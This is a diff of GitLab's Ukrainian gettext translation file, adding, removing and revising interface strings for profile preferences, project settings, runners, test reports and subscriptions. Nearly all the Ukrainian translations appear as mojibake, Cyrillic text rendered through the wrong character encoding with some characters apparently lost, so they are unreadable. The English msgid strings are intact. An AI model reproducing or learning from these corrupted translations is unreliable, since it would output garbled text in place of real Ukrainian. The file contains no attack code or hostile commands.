msgid "Preferences|Syntax highlighting theme"
msgstr "Тема Ð´Ð»Ñ Ð¿Ñ–Ð´Ñвітки ÑинтакÑиÑу"
@@ -20432,6 +20893,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr "Заборонити кориÑтувачам змінювати ім'Ñ Ñвого профілю"
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20561,6 +21025,24 @@ msgstr "Профіль"
msgid "Profile Settings"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ñ„Ñ–Ð»ÑŽ"
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr "о"
@@ -20570,6 +21052,9 @@ msgstr "Ви збираєтеÑÑ Ð¾Ñтаточно видалити %{yourAcco
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr "Ви збираєтеÑÑ Ð·Ð¼Ñ–Ð½Ð¸Ñ‚Ð¸ ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача %{currentUsernameBold} на %{newUsernameBold}. Профіль та проєкти будуть перенаправлÑтиÑÑ Ð½Ð° проÑÑ‚Ñ–Ñ€ імен %{newUsername}, але таке Ð¿ÐµÑ€ÐµÐ½Ð°Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð½Ñ Ð·Ð°ÐºÑ–Ð½Ñ‡Ð¸Ñ‚ÑŒÑÑ, коли проÑÑ‚Ñ–Ñ€ імен %{currentUsername} буде зареєÑтровано на іншого кориÑтувача або групу. Будь лаÑка, оновіть віддалені адреÑи в репозиторіÑÑ… Git Ñкомога швидше."
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20600,6 +21085,9 @@ msgstr "Ðватар буде видалено. Ви впевнені?"
msgid "Profiles|Bio"
msgstr "Про Ñебе"
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr "Змінити ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача"
@@ -20957,9 +21445,6 @@ msgstr "Ðватар проєкту"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr "Проект не може бути Ñпільним із групою в Ñку він входить або з одним з Ñ—Ñ— предків."
-msgid "Project clone URL"
-msgstr "URL Ð´Ð»Ñ ÐºÐ»Ð¾Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ"
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21212,7 +21697,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr "Увімкнути за замовчуваннÑм можливіÑÑ‚ÑŒ \"Видалити гілку-джерело\""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21254,6 +21742,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr "Внутрішні"
@@ -21314,9 +21805,6 @@ msgstr "Pages Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ð½Ð¾Ñ— документації"
msgid "ProjectSettings|Pipelines"
msgstr "Конвеєри"
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "Конвеєри мають бути уÑпішними"
@@ -21338,6 +21826,12 @@ msgstr "Репозиторій"
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21407,6 +21901,9 @@ msgstr "ПереглÑдати та редагувати файли в цьомÑ
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr "Коли з’ÑвлÑÑŽÑ‚ÑŒÑÑ ÐºÐ¾Ð½Ñ„Ð»Ñ–ÐºÑ‚Ð¸, кориÑтувачу даєтьÑÑ Ð¼Ð¾Ð¶Ð»Ð¸Ð²Ñ–ÑÑ‚ÑŒ виконати rebase"
@@ -21788,6 +22285,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr "Перетворити задачу на епік"
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr "ПеренеÑти мітку на рівень групи"
@@ -22103,6 +22603,9 @@ msgstr "Події Ð²Ñ–Ð´Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð½Ñ (push)"
msgid "Push project from command line"
msgstr "Виконати push проєкту за допомогою командного Ñ€Ñдка"
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr "ÐатиÑніть, щоб Ñтворити проєкт"
@@ -22256,6 +22759,9 @@ msgstr "Коди відновленнÑ"
msgid "Redirect to SAML provider to test configuration"
msgstr "Перенаправити до SAML провайдера Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸ конфігурації"
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr "Знизити видиміÑÑ‚ÑŒ проєкту"
@@ -22341,9 +22847,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22420,6 +22923,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr "Релізи"
@@ -22447,9 +22953,6 @@ msgstr "Проблема при збереженні деталей релізу
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr "Запам'Ñтати мене"
-
msgid "Remind later"
msgstr "Ðагадати пізніше"
@@ -22654,9 +23157,6 @@ msgstr "ВидалÑÑ” дату завершеннÑ."
msgid "Removes time estimate."
msgstr "ВидалÑÑ” запланований чаÑ."
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22672,15 +23172,12 @@ msgstr "Перейменувати/ПереміÑтити"
msgid "Reopen"
msgstr "Повторне відкриттÑ"
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr "Повторне Ð²Ñ–Ð´ÐºÑ€Ð¸Ñ‚Ñ‚Ñ ÐµÐ¿Ñ–ÐºÑƒ"
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr "Повторне Ð²Ñ–Ð´ÐºÑ€Ð¸Ñ‚Ñ‚Ñ ÐµÑ‚Ð°Ð¿Ñƒ"
@@ -22759,6 +23256,16 @@ msgstr "ЗвітуваннÑ"
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22793,6 +23300,13 @@ msgstr "Ðазва клаÑу"
msgid "Reports|Execution time"
msgstr "Ð§Ð°Ñ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ"
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Failure"
msgstr "Помилка"
@@ -22844,6 +23358,9 @@ msgstr "Репозиторії"
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22874,12 +23391,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr "Репозиторій"
@@ -22907,6 +23430,9 @@ msgstr "ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–ÑŽ"
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr "ОчиÑтку репозиторію розпочато. Ви отримаєте Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð¿Ð¾ електронній пошті піÑÐ»Ñ Ñ—Ñ— завершеннÑ."
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22940,10 +23466,10 @@ msgstr "Статичні об’єкти репозиторію"
msgid "Repository storage"
msgstr "Сховище репозиторію"
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -23065,12 +23591,18 @@ msgstr "Повторно надіÑлати запрошеннÑ"
msgid "Resend it"
msgstr "Повторно це відіÑлати"
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr "Скинути ключ авторизації"
msgid "Reset authorization key?"
msgstr "Скинути ключ авторизації?"
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr "Оновити токен доÑтупу Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸ працездатноÑÑ‚Ñ–"
@@ -23197,6 +23729,9 @@ msgstr ""
msgid "Retry"
msgstr "Спробувати знову"
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr "Повторити це завданнÑ"
@@ -23237,6 +23772,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr "ПереглÑте Ð¿Ñ€Ð¾Ñ†ÐµÑ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ð²Ð°Ð¹Ð´ÐµÑ€Ñ–Ð² поÑлуг у вашому провайдері ідентифікації — в такому разі GitLab Ñ” \"провайдером поÑлуг\" або \"довірÑючою Ñтороною\"."
@@ -23259,6 +23797,9 @@ msgstr[3] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr "Перевірка"
@@ -23328,6 +23869,9 @@ msgstr "Виконати Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÐµÐ· тегів"
msgid "Runner cannot be assigned to other projects"
msgstr "Runner не може бути призначено Ð´Ð»Ñ Ñ–Ð½ÑˆÐ¸Ñ… проєктів"
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr "Runner запуÑкає Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð·Ñ– вÑÑ–Ñ… непризначених проєктів"
@@ -23391,12 +23935,6 @@ msgstr ""
msgid "Runners|Description"
msgstr "ОпиÑ"
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr "Група"
@@ -23424,9 +23962,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr "Захищені"
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr "ВерÑÑ–Ñ"
@@ -23529,12 +24064,6 @@ msgstr "Зберегти зміни"
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr "Ð’Ñе одно зберегти"
-
msgid "Save application"
msgstr "Зберегти заÑтоÑунок"
@@ -23553,7 +24082,7 @@ msgstr "Зберегти пароль"
msgid "Save pipeline schedule"
msgstr "Зберегти розклад конвеєра"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23610,15 +24139,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr "Прокрутити донизу"
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr "Прокрутити ліворуч"
@@ -23721,6 +24244,9 @@ msgstr "Пошук проєктів"
msgid "Search projects..."
msgstr "Пошук проєктів..."
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr "Пошук Ñеред вимог"
@@ -23760,9 +24286,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr "в"
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr "із %{link_to_project}"
@@ -23864,6 +24387,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -24050,6 +24576,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr "Сховати відхилені"
@@ -24216,6 +24745,12 @@ msgstr "ПереглÑнути метрики"
msgid "See the affected projects in the GitLab admin panel"
msgstr "ПереглÑнути уÑÑ– уражені проєкти на панелі адмініÑтратора GitLab"
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24226,7 +24761,7 @@ msgid "Select Archive Format"
msgstr "Виберіть формат архіву"
msgid "Select Git revision"
-msgstr ""
+msgstr "Вибрати ревізію Git"
msgid "Select GitLab project to link with your Slack team"
msgstr "Виберіть проєкт GitLab Ð´Ð»Ñ Ð·Ð²â€™ÑÐ·ÑƒÐ²Ð°Ð½Ð½Ñ Ñ–Ð· вашою командою Slack"
@@ -24333,9 +24868,6 @@ msgstr "Вибрати проєкт Ð´Ð»Ñ Ð²Ð¸Ð±Ð¾Ñ€Ñƒ зони"
msgid "Select projects"
msgstr "Вибрати проєкти"
-msgid "Select projects you want to import."
-msgstr "Виберіть проєкти, Ñкі ви хочете імпортувати."
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24678,12 +25210,6 @@ msgstr "Ð’Ñтановити макÑимальну кількіÑÑ‚ÑŒ хвилÐ
msgid "Set the milestone to %{milestone_reference}."
msgstr "Ð’Ñтановити етап %{milestone_reference}."
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24726,21 +25252,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr "Ðалаштуйте Ñвій проєкт, щоб автоматично відправлÑти/отримувати зміни з іншого репозиторію. Гілки, теги та коміти автоматично будуть ÑинхронізуватиÑÑ."
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr "Ð’Ñтановити вагу"
msgid "Set weight to %{weight}."
msgstr "Ð’Ñтановити вагу %{weight}."
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "вÑтановити пароль"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr "Додати Ñмайлик-ÑтатуÑ"
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr "ОчиÑтити ÑтатуÑ"
@@ -24759,6 +25294,9 @@ msgstr "Ð’Ñтановити ÑтатуÑ"
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr "Вибачте, нам не вдалоÑÑ Ð²Ñтановити ваш ÑтатуÑ. Будь лаÑка, Ñпробуйте знову пізніше."
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr "Який ваш ÑтатуÑ?"
@@ -24772,7 +25310,7 @@ msgid "Sets the due date to %{due_date}."
msgstr "Ð’Ñтановлює заплановану дату Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð½Ñ %{due_date}."
msgid "Sets the iteration to %{iteration_reference}."
-msgstr ""
+msgstr "Ð’Ñтановлює ітерацію %{iteration_reference}."
msgid "Sets the milestone to %{milestone_reference}."
msgstr "Ð’Ñтановлює етап %{milestone_reference}."
@@ -24855,9 +25393,6 @@ msgstr "Sherlock транзакції"
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr "Якщо ви коли-небудь втратите телефон або доÑтуп до Ñвоїх одноразових паролів, кожен із цих кодів Ð²Ñ–Ð´Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð¼Ð¾Ð¶Ðµ бути викориÑтаний один раз Ð´Ð»Ñ Ð²Ñ–Ð´Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð¾Ñтупу до вашого облікового запиÑу. Будь лаÑка, зберігайте Ñ—Ñ… в надійному міÑці, інакше ви %{b_start}втратите%{b_end} доÑтуп до вашого облікового запиÑу."
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr "Показати вÑÑŽ активніÑÑ‚ÑŒ"
@@ -24912,13 +25447,16 @@ msgstr "Показати оÑтанню верÑÑ–ÑŽ"
msgid "Show list"
msgstr "Показати ÑпиÑок"
-msgid "Show me everything"
-msgstr "Показати мені вÑе"
+msgid "Show me advanced features"
+msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24949,6 +25487,9 @@ msgstr[1] "Показано %d події"
msgstr[2] "Показано %d подій"
msgstr[3] "Показано %d подій"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -25046,11 +25587,14 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ñ€ÐµÑ”Ñтрації"
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
-msgstr "Ð†Ð¼â€™Ñ Ð·Ð°Ð½Ð°Ð´Ñ‚Ð¾ довге (макÑимум Ñкладає %{max_length} Ñимволів)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
-msgstr "Прізвище занадто довге (макÑимум Ñкладає %{max_length} Ñимволів)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
+msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
msgstr "Ð†Ð¼â€™Ñ ÐºÐ¾Ñ€Ð¸Ñтувача занадто довге (макÑимум Ñкладає %{max_length} Ñимволів)."
@@ -25100,6 +25644,9 @@ msgstr ""
msgid "Skipped"
msgstr "Пропущені"
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr "заÑтоÑунок Slack"
@@ -25211,9 +25758,6 @@ msgstr "ДеÑкі Ñервери електронної пошти не підÑ
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr "ХтоÑÑŒ редагував цю задачу в одночаÑно із вами. Будь лаÑка, ознайомтеÑÑ Ñ–Ð· %{linkStart}нею%{linkEnd} Ñ– переконайтеÑÑ, ваші зміни не затруть зміни інших."
@@ -25259,8 +25803,8 @@ msgstr "Помилка при заÑтоÑуванні пропозиції. БÑ
msgid "Something went wrong while archiving a requirement."
msgstr "ЩоÑÑŒ пішло не так під Ñ‡Ð°Ñ Ð°Ñ€Ñ…Ñ–Ð²ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ð¸Ð¼Ð¾Ð³Ð¸."
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
-msgstr "Помилка при закритті %{issuable}. Будь лаÑка, Ñпробуйте пізніше"
+msgid "Something went wrong while closing the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while creating a requirement."
msgstr "ЩоÑÑŒ пішло не так під Ñ‡Ð°Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð²Ð¸Ð¼Ð¾Ð³Ð¸."
@@ -25340,11 +25884,14 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr "Помилка при виконанні цієї дії."
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
-msgstr "Помилка при повторному відкритті %{issuable}. Будь лаÑка, Ñпробуйте пізніше"
+msgid "Something went wrong while reopening the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
msgstr "Помилка при завершенні обговореннÑ. Будь лаÑка, Ñпробуйте пізніше."
@@ -25625,11 +26172,11 @@ msgstr "Ð¦Ñ Ñ„ÑƒÐ½ÐºÑ†Ñ–Ñ Ñ” екÑпериментальною Ñ– доÑтуÐ
msgid "SourcegraphPreferences|This feature is experimental."
msgstr "Ð¦Ñ Ñ„ÑƒÐ½ÐºÑ†Ñ–Ñ Ñ” екÑпериментальною."
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
-msgstr "ВикориÑтовує %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
+msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
-msgstr "ВикориÑтовує влаÑний %{link_start}Ñервер Sourcegraph%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
+msgstr ""
msgid "Spam Logs"
msgstr "Спам-журнал"
@@ -25652,6 +26199,9 @@ msgstr "Вкажіть шаблон адреÑи електронної пошт
msgid "Specify the following URL during the Runner setup:"
msgstr "Зазначте наÑтупний URL під Ñ‡Ð°Ñ Ð²ÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Runner-а:"
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ð¾Ð±'єднаного (squash) коміту"
@@ -25677,7 +26227,7 @@ msgid "Stage removed"
msgstr ""
msgid "Standard"
-msgstr ""
+msgstr "Стандарт"
msgid "Star a label to make it a priority label. Order the prioritized labels to change their relative priority, by dragging."
msgstr "Позначте мітку, щоб зробити Ñ—Ñ— пріоритетною. ПеретÑгуйте пріоритетні мітки Ð´Ð»Ñ Ð·Ð¼Ñ–Ð½Ð¸ Ñ—Ñ… відноÑного пріоритету."
@@ -25769,9 +26319,6 @@ msgstr "Розпочати Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ‚Ð° закрити %{noteable
msgid "Start thread & reopen %{noteable_name}"
msgstr "Розпочати Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ‚Ð° повторно відкрити %{noteable_name}"
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25931,6 +26478,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr "Будьте в курÑÑ– продуктивноÑÑ‚Ñ– та Ñтану вашого Ñередовища шлÑхом Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Prometheus Ð´Ð»Ñ Ð¼Ð¾Ð½Ñ–Ñ‚Ð¾Ñ€Ð¸Ð½Ð³Ñƒ ваших розгортань."
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -26099,6 +26658,9 @@ msgstr "МакÑимальна кількіÑÑ‚ÑŒ викориÑтаних міÑ
msgid "SubscriptionTable|Next invoice"
msgstr "ÐаÑтупний рахунок-фактура"
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr "МіÑцÑ, Ñкі зараз викориÑтовуютьÑÑ"
@@ -26108,6 +26670,9 @@ msgstr "МіÑÑ†Ñ Ð² підпиÑці"
msgid "SubscriptionTable|Seats owed"
msgstr "Заборговані міÑцÑ"
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr "Дата Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð½Ñ Ð¿Ñ–Ð´Ð¿Ð¸Ñки"
@@ -26156,6 +26721,9 @@ msgstr "ВидалÑÑ”"
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr "УÑпішно активовано"
@@ -26330,6 +26898,9 @@ msgstr "Синхронізовано"
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26484,7 +27055,7 @@ msgid "Target branch"
msgstr "Цільова гілка"
msgid "Target-Branch"
-msgstr ""
+msgstr "Цільова гілка"
msgid "Task ID: %{elastic_task}"
msgstr ""
@@ -26498,9 +27069,6 @@ msgstr "Домен команди"
msgid "Telephone number"
msgstr "Ðомер телефону"
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr "Шаблон"
@@ -26540,6 +27108,9 @@ msgstr "Угода про Ð½Ð°Ð´Ð°Ð½Ð½Ñ Ð¿Ð¾Ñлуг Ñ– політика кон
msgid "Terms of Service and Privacy Policy"
msgstr "Правилами кориÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÑервіÑом Ñ– політика конфіденційноÑÑ‚Ñ–"
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
